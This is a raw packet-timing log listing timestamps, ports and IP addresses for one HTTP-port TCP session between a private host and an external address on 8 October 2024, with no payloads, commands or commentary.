Oct 8, 2024 02:45:43.748661041 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:43.748668909 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:43.748704910 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:43.748712063 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:43.748747110 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:43.748754025 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:43.748780966 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:43.748785019 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:43.748816967 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:43.748822927 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:43.748848915 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:43.748857975 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:43.748884916 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:43.748895884 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:43.748927116 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:43.749665022 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:43.749699116 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:43.749716997 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:43.749731064 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:43.749749899 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:43.749763012 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:43.749797106 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:43.749841928 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:43.749871969 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:44.042336941 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:44.042352915 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:44.042363882 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:44.042372942 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:44.042383909 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:44.042392969 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:44.042403936 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:44.042412043 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:44.042414904 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:44.042424917 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:44.042433977 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:44.042444944 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:44.042444944 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:44.042490959 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:44.442404032 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:44.442426920 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:44.442439079 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:44.442471981 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:44.442502975 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:44.442564964 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:44.442576885 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:44.442610025 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:44.536319971 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:44.536365986 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:44.536386013 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:44.536410093 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:44.536425114 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:44.536463022 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:44.536468029 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:44.536495924 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:44.536503077 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:44.536534071 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:44.536536932 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:44.536575079 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:44.631098032 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:44.631175041 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:44.631191015 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:44.631210089 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:44.631213903 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:44.631244898 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:44.631254911 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:44.631279945 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:44.631289005 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:44.631314039 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:44.631324053 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:44.631349087 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:44.631362915 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:44.631406069 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:44.726946115 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:44.726968050 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:44.726978064 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:44.726988077 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:44.726999044 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:44.727001905 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:44.727009058 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:44.727020979 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:44.727025986 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:44.727030039 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:44.727067947 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:44.819989920 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:44.820009947 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:44.820020914 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:44.820030928 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:44.820043087 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:44.820060015 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:44.820080996 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:44.820122957 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:44.820189953 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:44.820228100 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:44.820302963 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:44.820348978 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:45.219909906 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:45.219927073 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:45.219986916 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:45.451909065 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:45.452004910 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:45.452004910 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:45.452038050 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:45.452050924 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:45.452071905 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:45.452100039 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:45.452105045 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:45.452114105 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:45.452142954 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:45.542259932 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:45.542277098 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:45.542288065 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:45.542304993 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:45.542309999 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:45.542315006 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:45.542325974 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:45.542332888 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:45.542360067 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:45.542370081 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:45.542376041 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:45.542393923 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:45.542418957 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:45.635377884 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:45.635451078 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:45.635471106 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:45.635488033 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:45.635488987 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:45.635529041 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:45.636651993 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:45.636704922 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:45.636723042 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:45.636739969 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:45.636740923 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:45.636778116 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:45.636805058 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:45.636837006 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:45.636845112 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:45.636872053 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:45.636877060 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:45.636910915 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:45.726639986 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:45.726717949 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:45.726742983 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:45.726754904 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:45.726773024 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:45.726787090 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:45.726797104 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:45.726829052 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:45.726839066 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:45.726869106 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:45.726881981 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:45.726901054 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:45.726908922 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:45.726934910 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:45.726938963 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:45.726968050 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:45.726975918 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:45.727005005 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:45.727008104 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:45.727041960 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:45.819432974 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:45.819467068 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:45.819477081 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:45.819484949 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:45.819500923 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:45.819510937 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:45.819519997 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:45.819530010 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:45.819540977 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:45.819658041 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:45.819658995 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:45.819658995 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:45.820372105 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:45.820439100 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:45.910375118 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:45.910424948 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:45.910460949 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:45.910459995 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:45.910494089 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:45.910527945 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:45.910563946 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:45.910644054 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:45.910644054 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:45.910644054 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:45.910644054 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:45.910644054 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:45.911673069 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:45.911725998 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:45.911761045 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:45.911765099 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:45.911794901 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:45.911828041 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:45.911829948 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:45.911899090 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:46.011161089 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:46.011219025 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:46.011253119 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:46.011285067 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:46.011318922 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:46.011352062 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:46.011363029 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:46.011436939 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:46.011442900 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:46.011487007 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:46.011512995 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:46.012586117 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:46.012640953 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:46.012664080 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:46.012674093 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:46.012690067 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:46.012706995 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:46.012720108 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:46.012742043 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:46.012767076 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:46.012793064 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:46.104834080 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:46.104927063 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:46.104959011 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:46.104959011 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:46.104991913 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:46.105006933 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:46.105029106 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:46.105062962 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:46.105065107 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:46.105098009 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:46.105102062 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:46.105130911 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:46.105159998 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:46.105175018 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:46.106053114 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:46.106085062 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:46.106117964 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:46.106142998 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:46.106151104 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:46.106158018 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:46.106178045 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:46.106201887 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:46.106215954 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:46.106282949 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:46.106719017 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:46.106780052 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:46.202316046 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:46.202408075 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:46.202419996 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:46.202439070 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:46.202459097 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:46.202471972 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:46.202477932 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:46.202506065 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:46.202518940 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:46.202538967 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:46.202553988 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:46.202573061 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:46.202590942 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:46.202671051 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:46.203059912 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:46.203109980 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:46.203111887 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:46.203144073 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:46.203155041 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:46.203176022 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:46.203195095 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:46.203208923 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:46.203218937 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:46.203244925 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:46.203250885 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:46.203283072 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:46.203908920 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:46.203972101 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:46.303178072 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:46.303226948 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:46.303262949 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:46.303284883 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:46.303318977 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:46.303327084 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:46.303327084 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:46.303378105 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:46.303406000 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:46.303436995 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:46.303452015 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:46.303486109 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:46.303499937 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:46.303519964 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:46.303525925 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:46.303555965 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:46.303585052 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:46.303603888 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:46.304145098 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:46.304178953 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:46.304212093 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:46.304213047 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:46.304234028 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:46.304244995 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:46.304250956 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:46.304276943 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:46.304286957 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:46.304310083 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:46.304317951 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:46.304352045 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:46.394032001 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:46.394136906 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:46.394208908 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:46.394259930 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:46.413602114 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:46.413672924 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:46.413763046 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:46.413813114 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:46.413813114 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:46.413849115 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:46.413858891 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:46.413882017 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:46.413888931 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:46.413916111 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:46.413930893 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:46.413947105 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:46.413954973 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:46.413980961 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:46.413991928 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:46.414014101 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:46.414021015 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:46.414053917 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:46.414606094 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:46.414649963 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:46.414659023 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:46.414694071 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:46.414706945 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:46.414726019 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:46.414736032 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:46.414761066 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:46.414769888 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:46.414819956 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:46.484364986 CEST	80	51294	147.45.44.104	192.168.2.4
Oct 8, 2024 02:45:46.484483957 CEST	51294	80	192.168.2.4	147.45.44.104
Oct 8, 2024 02:45:46.484666109 CEST	80	51294	147.45.44.104	192.168.2.4
